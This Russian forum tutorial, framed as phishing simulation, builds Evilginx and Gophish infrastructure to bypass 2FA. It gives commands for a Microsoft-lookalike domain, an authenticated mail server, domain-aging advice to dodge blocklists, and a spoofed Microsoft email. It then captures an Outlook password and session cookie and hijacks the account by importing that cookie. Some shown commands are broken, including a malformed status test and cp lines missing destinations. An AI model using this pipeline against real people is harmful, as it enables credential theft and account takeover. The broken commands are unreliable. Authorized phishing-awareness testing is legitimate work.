• 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Evilginx + Gophish. Поднимаем инфраструктуру для симуляции фишинга с обходом 2FA

Fantast

Green Team
12.02.2025
24
3
подобные темы есть на форуме, именно этой не нашел.

Связка Evilginx и Gophish​

Два фреймворка, которые мы будем использовать для проведения фишинговой кампании, называются Evilginx и Gophish. Это два самостоятельных инструмента, которые выполняют разные задачи.

Gophish — это программа с открытым кодом, созданная Джорданом Райтом. Gophish позволяет проводить автоматизированные фишинговые рассылки и таким образом имитировать действия злоумышленника.

Evilginx — это обратный прокси‑сервер, который проксирует соединение между пользователем и целевым веб‑ресурсом, позволяя перехватить логин, пароль и ключи сеанса. С помощью этого фреймворка можно обойти двухфакторную аутентификацию. Автор Evilginx — Куба Грецки.

Есть две версии интеграции этих двух инструментов. Первая — неофициальная, ее разработал Дилан Эванс, он же fin3ss3g0d. Она включает в себя более расширенный набор возможностей вроде SMS-рассылок и генерации QR-кодов, а также некоторые другие отличия от официальной версии.

интеграцию разработал автор Evilginx Куба Грецки, и появилась она относительно недавно — в апреле 2024 года. На данный момент в ней меньше функций, чем в версии fin3ss3g0d, но инструмент постоянно обновляется, и, скорее всего, все недостающее добавят. В статье я буду использовать именно эту версию интеграции.

Начинаем строить инфраструктуру​

Для начала необходимо арендовать VPS/VDS и доменное имя. Нам хватит следующей конфигурации: 1 Гбайт ОЗУ, 20 Гбайт SSD и один процессор. В качестве ОС — Ubuntu 20.04.
1.png


Получаем креды от сервера, подключаемся к машине по SSH и проводим базовую настройку: создаем нового пользователя и добавляем его в группу sudo, создаем ключи SSH, отключаем аутентификацию по паролю, настраиваем порты, правила файрвола и так далее.

Разобравшись с сервером, приступаем к созданию и настройке домена. Для этого выбираем любой сервис, предоставляющий услуги аренды. Один из ключевых компонентов фишинговой атаки — это доменное имя, которое введет пользователя в заблуждение. Этот процесс называется тайпсквоттинг, и вариантов здесь может быть много.

Я решил создать неприметный домен webaccount.site, чтобы потом добавить к нему поддомены, содержащие названия известных организаций, так как поддомены необязательно должны быть уникальными. Например, если добавим поддомен microsoft, у нас получится microsoft.webaccount.site.

Теперь приступим к настройке DNS. Первым делом нужно установить основную запись типа А, которая связывает доменное имя с IP-адресом сервера. Для этого редактируем ресурсные записи в разделе управления зоной DNS у регистратора.

2.png


В дальнейшем при создании фишинговых адресов будет использоваться множество поддоменов и для каждого такого поддомена потребуется отдельная запись типа A, однако можно использовать и запись типа CNAME, передав ей в качестве аргумента регулярное выражение «звездочка».

3.png


Этот тип записи сопоставит псевдоним (поддомен) с каноническим именем домена (webaccount.site) в момент генерации фишингового адреса и получения TLS/SSL-сертификата в Evilginx.

Подождем, пока DNS-записи распространятся (это может занять некоторое время, от 15 минут до нескольких часов), и проверим работоспособность сервера. Для этого просто обращаемся к домену через браузер.

4.png


Домен успешно привязался к серверу. После аренды домена желательно подождать хотя бы неделю: чем домен старше, тем меньше вероятность, что он окажется в черных списках. Во время моих первых попыток я регистрировал домен и сразу же использовал его в имитации фишинговой атаки, из‑за чего его отстреливали в течение суток. Раз с доменом разобрались, приступим к установке почтового сервера.


Поднимаем почтовый сервер​

SMTP-сервер — один из ключевых компонентов нашей будущей инфраструктуры. Его задача — выступать в роли ретранслятора. Настройка почтового сервера несложная, но требует множества последовательных действий.

Первым делом необходимо установить две записи. Одна — типа А с именем mail, указывающая на IP-адрес сервера.
5.png


Вторая запись — типа MX, которая указывает на сервер, обрабатывающий электронную почту.
6.png


Теперь можно приступить к установке и настройке Postfix. Подключаемся к своему VPS/VDS по SSH и запускаем установку:
Код:Скопировать в буфер обмена
sudo apt install postfix
При настройке в первом шаге выбираем пункт Internet Site.

7.png



Вводим доменное имя, которое будет определяться при отправке почты.

8.png


Указываем почтовый адрес администратора домена. Можно оставить пустым (что не рекомендуется), тогда почта, предназначенная для администратора, будет отправляться в /var/mail/nobody.

9.png


Дальше прописываем адреса вот в таком формате:
Код:Скопировать в буфер обмена
<hostname>, <domain>, localhost.com, localhost
10.png



Отказываемся от принудительного выполнения синхронизации обновлений.

11.png



Поле с локальной сетью не трогаем и оставляем по умолчанию.

12.png



Размер почтового ящика оставляем со значением 0, в этом случае он будет определяться общим дисковым пространством.

13.png



Символ, который будет использоваться для определения расширения локального адреса, — ставим плюсик.

14.png



И в последней настройке выбираем используемые протоколы — all.

15.png



После настройки установку Postfix можно считать завершенной. Проверяем при помощи утилиты netcat, запустился ли почтовый сервер. Достаточно постучаться на 25-й порт нашего хоста (порт SMTP по умолчанию).
16.png


Почтовый сервер запущен, но одной установки мало, необходимо также настроить ресурсные записи, чтобы почта доходила до конечной точки. Если пропустить этот важный этап, почта не то что будет попадать в спам, она в принципе не будет рассматриваться почтовыми серверами. Для успешной доставки сообщений необходимо настроить ресурсные DNS-записи типа TXT — SPF, DKIM, DMARC.

Настраиваем SPF, DKIM и DMARC​

SPF​

Начнем с записи SPF (Sender Policy Framework). Это текстовая запись, которая описывает то, какие хосты имеют право отправлять почту от имени домена, то есть это список доверенных серверов. По сути, SPF — это механизм, проверяющий, авторизован ли хост, отправляющий электронное письмо от определенного доменного имени.

Чтобы такое правило работало, создаем запись TXT в панели управления доменом.
17.png


Эта запись определяет, что электронную почту от имени домена могут отправлять серверы, указанные в записях MX и A домена, а также имеющие IP-адреса из диапазона 94.142.141.0/24. Почта от других хостов будет помечена как подозрительная.

Ты можешь воспользоваться веб‑инструментом , чтобы создать свои правила SPF.

DKIM​

Второй записью настроим DKIM (DomainKeys Identified Mail). Это механизм проверки электронной почты, задача которого — предотвращать подделку сообщений. Для этого применяется асимметричное шифрование: каждое сообщение подписывается закрытым ключом.

DKIM использует пары ключей: закрытый, к которому имеет доступ только почтовый сервер, и открытый, который прописывается в текстовой DNS-записи, а затем используется получателем для проверки легитимности сообщения.

Настройка этой записи потребует множество шагов, будь внимателен при их выполнении — сделать что‑то не так довольно легко. Полное руководство по настройке DKIM есть на , я не буду полностью переписывать его, а только опишу ключевые моменты.

Первым делом устанавливаем утилиту OpenDKIM:
Код:Скопировать в буфер обмена
sudo apt update<br>sudo apt install opendkim opendkim-tools
И редактируем файл /etc/opendkim.conf. Добавим следующие строки (номер порта Socket выбираем любой, который не занят):
Код:Скопировать в буфер обмена
AutoRestart Yes<br>AutoRestartRate 10/1h<br>UMask 002<br>Syslog yes<br>SyslogSuccess Yes<br>LogWhy Yes<br>Canonicalization relaxed/simple<br>ExternalIgnoreList refile:/etc/opendkim/TrustedHosts<br>InternalHosts refile:/etc/opendkim/TrustedHosts<br>KeyTable refile:/etc/opendkim/KeyTable<br>SigningTable refile:/etc/opendkim/SigningTable<br>Mode sv<br>PidFile /var/run/opendkim/opendkim.pid<br>SignatureAlgorithm rsa-sha256<br>UserID opendkim:opendkim<br>Socket inet:12712@localhost
Подключаем расширение Milter к Postfix. Сначала открываем файл /etc/default/opendkim и меняем номер порта вот в этой строке:
Код:Скопировать в буфер обмена
SOCKET="inet:12301@localhost"
Новый номер выбираем тот, что указали ранее в opendkim.conf:
Код:Скопировать в буфер обмена
SOCKET="inet:12712@localhost"
Затем настраиваем Postfix на использование Milter. Для этого открываем файл /etc/postfix/main.cf и убеждаемся, что присутствуют эти две строки и они не закомментированы:
Код:Скопировать в буфер обмена
milter_protocol = 2<br>milter_default_action = accept
Редактируем следующие строки, меняя номер порта на тот, что определили ранее.
21.png


Если таких параметров в файле нет, то прописываем их:
Код:Скопировать в буфер обмена
smtpd_milters = inet:localhost:12712<br>non_smtpd_milters = inet:localhost:12712
Создаем каталоги для взаимодействия с ключами:
Код:Скопировать в буфер обмена
sudo mkdir /etc/opendkim<br>sudo mkdir /etc/opendkim/keys
Указываем доверенные хосты в файле /etc/opendkim/TrustedHosts.

22.png


Создаем таблицу ключей, для этого прописываем в файл /etc/opendkim/KeyTable такую строку:
Код:Скопировать в буфер обмена
mail._domainkey.webaccount.site webaccount.site:mail:/etc/opendkim/keys/webaccount.site/mail.private
Создаем таблицу подписей, прописав в файл /etc/opendkim/SigningTable эту строку:
Код:Скопировать в буфер обмена
*@webaccount.site mail._domainkey.webaccount.site
Теперь приступим к созданию пары открытого и закрытого ключей. Переходим в каталог /etc/opendkim/keys и создаем директорию для домена, в которой будут храниться ключи.

25.png


Генерируем ключи следующей командой:
Код:Скопировать в буфер обмена
sudo opendkim-genkey -s mail -d webaccount.site
После чего меняем владельца файла с закрытым ключом на учетную запись opendkim.

26.png



Осталось добавить содержимое файла mail.txt в текстовую запись DNS в панели управления доменом. Выводим содержимое файла в консоль, копируем всю строку, которая находится в скобках, и приводим к нужному формату.

27.png



В итоге у меня получилось отформатированное значение, которое нужно добавить в DNS-запись типа TXT с ключом mail._domainkey.

28.png




29.png



DMARC​

Политика DMARC (Domain-based Message Authentication, Reporting & Conformance) нужна для предотвращения спуфинга электронной почты. Этот протокол, по сути, дополнение к SPF и DKIM. Он определяет правила обработки электронных сообщений, которые поступили с неавторизованных доменов.

Настройка крайне проста, особенно на фоне DKIM. Достаточно создать TXT-запись вроде той, что на скриншоте.
30.png



Тестируем SMTP-сервер​

Когда все настроено, время проверить работоспособность сервера SMTP. Для этого можно либо отправить сообщение себе на почту с любого сервиса, либо же воспользоваться . Открываем сайт по ссылке, копируем указанный там почтовый адрес и жмем большую кнопку «Проверить». Теперь мы можем отправить сообщение на выданный нам адрес. Это делается вот такой командой:
Код:Скопировать в буфер обмена
echo "Test" | mail -s "Test" [почтовый адрес]
Как видим, почтовый сервер настроен и корректно работает (половину балла мне сняли, потому что домен есть в одном из нескольких черных списков, но это совсем не критично). Если ты сделал ошибки в настройке, в этом отчете они будут указаны.

31.png



Ставим и настраиваем Evilginx и Gophish​


Ставим Gophish​

Прежде чем поднимать Evilginx и Gophish, нужно установить в систему язык Go, так как оба этих инструмента работают на нем. Отправляемся на сайт разработчика и открываем , скачиваем deb-пакет командой wget и следуем инструкции.

32.png


Приступим к установке Gophish. Нам нужно скачать версию с интеграцией в Evilginx из репозитория, тут есть два варианта установки. Первый — скачиваем командой wget архив с релизом для своей ОС со страницы releases, после чего просто разархивируем файл и делаем бинарник Gophish исполняемым командой chmod.

Второй вариант — сборка из исходного кода. Для этого копируем репозиторий и запускаем установку:
Код:Скопировать в буфер обмена
sudo git clone GitHub - kgretzky/gophish: Open-Source Phishing Toolkit<br>go build
В результате у нас будет версия Gophish, модифицированная для работы с Evilginx.

33.png


Теперь можно приступить к настройке и запуску Gophish. Первым делом редактируем файл config.json. В нем нужно изменить параметр admin_server.listen_url. По умолчанию там указан локальный IP 127.0.0.1. Чтобы Gophish работал не только локально и к нему возможно было подключиться через интернет, нужно изменить этот IP на 0.0.0.0:3333. Номер порта, кстати, можно выставить любой незанятый в системе.

34.png



После настройки запускаем исполняемый файл Gophish и сразу ищем в логах логин и пароль по умолчанию для доступа к панели управления.

35.png


Теперь переходим в браузер и обращаемся к панели Gophish по адресу своего VPS/VDS с указанным ранее портом.

36.png


Вводим креды, которые нашли в логах, после чего у нас открывается форма для изменения пароля по умолчанию. Меняем пароль, снова вводим креды, аутентифицируемся и попадаем в нашу учетную запись Gophish.

37.png


Чтобы оптимизировать запуск и дальнейшие фишинговые кампании, нужно настроить Gophish как демон, то есть создать сервис, который будет запускать Gophish в фоновом режиме или останавливать одной командой. В каталоге /etc/init.d находятся сценарии оболочки, которые запускаются системой инициализации SysVinit, поэтому создаем в этом каталоге файл Gophish и добавляем следующий код, указав в параметре appDirectory абсолютный путь к Gophish:
Код:Скопировать в буфер обмена
processName=Gophish<br>process=gophish<br>appDirectory=/home/zxc/gophish<br>logfile=/var/log/gophish/gophish.log<br>errfile=/var/log/gophish/gophish.error<br>start() {<br> echo 'Starting '${processName}'...'<br> cd ${appDirectory}<br> nohup ./$process &gt;&gt;$logfile 2&gt;&gt;$errfile &amp;<br> sleep 1<br>}<br>stop() {<br> echo 'Stopping '${processName}'...'<br> pid=$(/bin/pidof ${process})<br> kill ${pid}<br> sleep 1<br>}<br>status() {<br> pid=$(/bin/pidof ${process})<br> if [["$pid" != ""| "$pid" != "" ]]; then<br> echo ${processName}' is running...'<br> else<br> echo ${processName}' is not running...'<br> fi<br>}<br>case $1 in<br> start|stop|status) "$1" ;;<br>esac
Сохраняем файл и прописываем команды для запуска демона и проверки статуса его работы.

38.png


Сервис запускается и работает корректно.

Ставим Evilginx​

Копируем официальный репозиторий Evilginx с GitHub:
Код:Скопировать в буфер обмена
sudo git clone GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication &amp;&amp; cd evilginx2
Evilginx тоже написан на Go, который у нас уже установлен. Поэтому просто выполняем make. Скрипт соберет весь проект и создаст исполняемый файл evilginx в директории build.
39.png


Чтобы постоянно не прописывать бесконечные пути, лучше собрать все необходимое в отдельном каталоге. Создаем директорию evilginx в домашнем каталоге и копируем исполняемый файл evilginx вместе с директориями phishlets и redirectors в ~/evilginx:
Код:Скопировать в буфер обмена
sudo mkdir ~/evilginx<br>sudo cp ./build/evilginx ~/evilginx<br>sudo cp -r ./phishlets/<br>sudo cp -r ./redirectors
Когда все готово, приступаем к настройке. Запускаем Evilginx:
Код:Скопировать в буфер обмена
sudo ./evilginx -p phishlets/
41.png


Нам необходимо определить IP-адрес и домен, а также интегрировать Gophish. В консоли Evilginx прописываем эти команды:
Код:Скопировать в буфер обмена
config domain [ваш домен]<br>config ipv4 [IP вашего VPS/VDS]<br>config Gophish admin_url [URL, на котором поднят gophish]<br>config Gophish api_key [ключ API gophish]<br>config Gophish insecure true
Ключ API Gophish можно найти в панели управления Gophish, перейдя на вкладку Account Settings.

42.png



Теперь выполняем команду config gophish test для тестирования соединения Evilginx и Gophish.

43.png


Сообщение гласит о том, что соединение успешно.

На этом этапе мы построили основную часть инфраструктуры. Теперь можно начать подготовку к проведению фишинговой кампании.

Настройка кампании Gophish​

Отправляемся в панель управления Gophish и начинаем настраивать компоненты для рассылки фишинговых сообщений.

Первый компонент — это группы пользователей, которым будут рассылаться письма. Другими словами, это жертвы, точнее, подопытные в нашем тесте.

Предположим, в результате разведки мы получили имена и почтовые адреса работников компании. Все эти данные добавляем в соответствующие поля и нажимаем кнопку Add для каждого пользователя. Либо можешь сразу загрузить файл CSV, содержащий все эти данные. Когда вся инфа добавлена, нажимаем кнопку Save changes.

44.png


Следующее, что стоит настроить, — это шаблон электронного письма. Правильно написанное письмо, не вызывающее подозрений, а вызывающее только желание поскорее нажать на ссылку и выполнить все инструкции, — это ключевой компонент успешной фишинговой атаки. Тут уже все зависит от навыков социальной инженерии атакующего. Я создам абсолютно условное фишинговое письмо и не буду расписывать методы социальной инженерии, это отдельная тема.


Чтобы создать фишинговое письмо, я взял HTML-код настоящего сообщения от Microsoft, которое приходило мне на почту, а затем немного изменил его содержание.

В разделе Email Templates вставляем HTML-код и редактируем сообщение на вкладке HTML.

45.png


Не забываем поставить галочку Add Tracking Image, которая добавит трекер для отслеживания статистики по открытым письмам. Трекер выглядит как переменная {{.Tracker}} в коде сообщения. Кстати, об этих переменных стоит поговорить чуть подробнее.

При помощи переменных ты можешь менять содержимое сообщения в зависимости от пользователя, которому оно отправлено. Всего переменных десять, нам в первую очередь пригодятся {{.FirstName}}, {{.LastName}} и {{.Email}}, которые подставляют имя, фамилию и адрес почты из настроек групп пользователей. Благодаря им письма не придется персонализировать вручную.

Переменная {{.URL}} подставляет сгенерированную фишинговую ссылку в сообщение. Например, я подставил ссылку через переменную в кнопку «Подтвердить». Про остальные переменные можно прочитать в .

Также прописываем заголовок и отправителя сообщения, который будет указан, когда письмо дойдет. Я просто скопировал отправителя из официального сообщения Microsoft, но изменил домен на свой, добавив слово microsoft поддоменом третьего уровня. В итоге мое сообщение будет отправлено от имени «Служба технической поддержки учетных записей Microsoft noreply@microsoft.webaccount.site».

Ниже — фишинговое письмо, которое у меня получилось. Gophish будет подставлять почту пользователя вместо переменной {{.Email}}.

46.png


Письмо, как видишь, условное и на практике потребовало бы доработки.

Третий компонент — это профиль отправки, тот, ради которого мы настраивали почтовый сервер и записи DNS. Здесь мы указываем SMTP-ретранслятор, с помощью которого будет происходить рассылка. Открываем вкладку Sending Profile, пишем название профиля, указываем почту отправителя и, наконец, пишем адрес и порт SMTP-ретранслятора. Так как он находится на том же хосте, где мы запустили Gophish, вводим localhost:25 (порт SMTP указывать обязательно). Также не забудь поставить галочку Ignore Certificate Errors.

47.png


В этом же окне есть кнопка для отправки тестового письма, обязательно проверяй работоспособность SMTP-ретранслятора перед проведением кампании.

48.png


На этом настройка компонентов Gophish закончена, поэтому сворачиваем браузер и приступаем к созданию фишинговых ресурсов Evilginx.

Cоздание фишинговых ресурсов Evilginx​

Первое, с чем нужно ознакомиться, — фишлеты Evilginx. Это самая основа, с их помощью и обходится 2FA. Фишлеты — это конфигурационные файлы YAML, которые определяют, какие домены и поддомены проксировать, подменять, какие аутентификационные данные перехватывать и что с ними делать. В общем, правильно настроенный фишлет определяет технический успех фишинговой атаки. Для каждого веб‑ресурса пишется свой фишлет, однако каждый фишлет — это шаблон.

Я не буду подробно описывать, как работают фишлеты или как их создавать, об этом поговорим в другой раз. Пока же можешь обратиться к . Самое главное — не покупай фишлеты в «Телеграме», на форумах и тому подобных ресурсах!

Настраиваем фишлет​

Целевым веб‑ресурсом я выбрал Outlook, фишлет к которому уже написан и опубликован в репозитории на GitHub. Скачиваем его и перемещаем в директорию ~/evilginx/phishlets.

Запускаем Evilginx с фишлетом:
Код:Скопировать в буфер обмена
sudo ./evilginx -p phishlets/
И начинаем настраивать фишинговые компоненты. Первым делом задаем URL, который пользователь будет видеть во время проксирования трафика. Нужно придумать такое имя хоста, которое не будет вызывать подозрений. Я добавил два поддомена к своему имени хоста:
Код:Скопировать в буфер обмена
microsoft.outlook.webaccount.site
Так как поддомены необязательно должны быть уникальными, мы используем это свойство для добавления известных и авторитетных имен. Указываем имя хоста и активируем фишлет:
Код:Скопировать в буфер обмена
phishlets hostname Outlook microsoft.outlook.webaccount.site<br>phishlets enable Outlook
В этот момент Evilginx будет автоматически получать сертификаты SSL/TLS для всех доменов и поддоменов, которые используются в атаке, чтобы фишинговый URL, да и соединение в принципе работали по протоколу HTTPS.

49.png


Через 30 секунд успешно получаем все сертификаты SSL/TLS и двигаемся дальше.

Готовим приманки​

Следующие в очереди приманки, они же Lures в официальной документации. По факту это просто сгенерированные фишинговые ссылки, которые мы отправляем. Настройка очень проста, сначала создаем приманку для фишлета Outlook:
Код:Скопировать в буфер обмена
lures create Outlook
Консоль выведет числовой идентификатор приманки, он нам еще пригодится. Приводим ссылку к такому виду:
Код:Скопировать в буфер обмена
50.png


Копируем сгенерированную фишинговую ссылку и переходим в Gophish.

Запускаем фишинговую атаку​

Теперь откроем вкладку Campaigns и соберем все воедино. Пишем название кампании и выбираем по заданным именам: шаблон электронного письма, профиль отправки и группу пользователей.

51.png


Выбрав все компоненты, вставляем сгенерированную ранее ссылку в поле Evilginx Lure URL и нажимаем на кнопку Launch Campaign.

52.png


После запуска кампании мы видим статистику, которая ведется в режиме реального времени. Пока что четыре сообщения отправлены, но никем не прочитаны.

53.png


Проверяем почту и видим, что фишинговое сообщение дошло.

54.png



Нажав на профиль отправителя, замечаем, что тут указано всё то, что мы прописали в шаблоне электронного сообщения Gophish. Невнимательный пользователь, скорее всего, даже не будет проверять, но если кто‑то и проверит, то есть вероятность, что слово microsoft в названии домена убаюкает подозрительность.

55.png


Сразу же проверим, работает ли трекер, отслеживающий открытие сообщений. Видим, что просмотр сообщения регистрируется, статус пользователя в столбце Status меняется, к тому же обновляются диаграммы.

56.png


Вернемся к нашему фишинговому письму. Когда мы наводим курсор на кнопку «Подтвердить», в нижнем углу браузера видим ссылку, по которой мы перейдем после нажатия.

57.png



Имитируя действия потенциальной жертвы, переходим по фишинговой ссылке и ждем, пока браузер проверит, безопасная ли это страница.
58.png


Нас перенаправляет на настоящую страницу авторизации Microsoft, но при этом весь трафик проходит через наш обратный прокси‑сервер вот с таким доменом:
Код:Скопировать в буфер обмена
live.microsoft.outlook.webaccount.site
59.png


Вводим логин и пароль, после чего получаем запрос на подтверждение второго фактора аутентификации в приложении Microsoft Authenticator.

60.png



Продолжая имитацию действий потенциальной жертвы, подтверждаем вход в мобильном приложении и ждем, пока пройдет аутентификация.
61.png



И в итоге входим в учетную запись. При этом соединение все еще происходит через прокси‑сервер потенциального злоумышленника.

62.png



Открываем консоль Evilginx и видим логи успешного перехвата.

63.png


Вводим команду
Код:Скопировать в буфер обмена
sessions [ID сессии]
И получаем информацию, которая содержит время перехвата, IP-адрес жертвы, User agent, логин, пароль и cookie сеанса.

64.png


Логин и пароль — это, конечно, важная и критическая информация, но смысл этой атаки — перехватить токен сеанса в виде файла cookie. Чтобы проэксплуатировать перехват сессии, копируем всю строку cookies и открываем браузер.

Устанавливаем расширение Cookie-Editor, которое позволяет манипулировать куками, и открываем легитимную страницу входа в Microsoft Outlook. Перед тем как подменять cookie, удаляем те, что назначены браузером. Для этого просто нажимаем кнопку Delete All.

65.png


Затем нажимаем кнопку Import и вставляем сплошную строку из перехваченной сессии в Evilginx. Теперь еще раз нажимаем на Import и обновляем страницу.

66.png


После обновления страницы браузер обрабатывает куки, которые мы внедрили, и открывает учетную запись пользователя, у которого был перехвачен сессионный токен.

67.png


Раздобыв учетку Microsoft в любом сервисе, мы также получаем доступ к основным настройкам и ко всем сервисам этой учетной записи. Это может быть довольно критично, особенно учитывая, сколько конфиденциальной информации может храниться в OneDrive или в документах Word.

68.png



Подводим итоги​

Задача Gophish заключается не только в автоматизации рассылок, но и в ведении статистики, например для подготовки отчетов о результатах атаки, которые пригодятся пентестерам. После завершения кампании мы получаем статистику о том, кто открыл письмо, кто перешел по ссылке, кто попался на фишинг и ввел креды или же что‑то заподозрил и пожаловался на письмо.

69.png


На этом наша фишинговая кампания завершена. Как видим, для проведения этой атаки нам потребовались только базовые технические знания и навыки, а также небольшое финансовое вложение в аренду сервера и домена.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab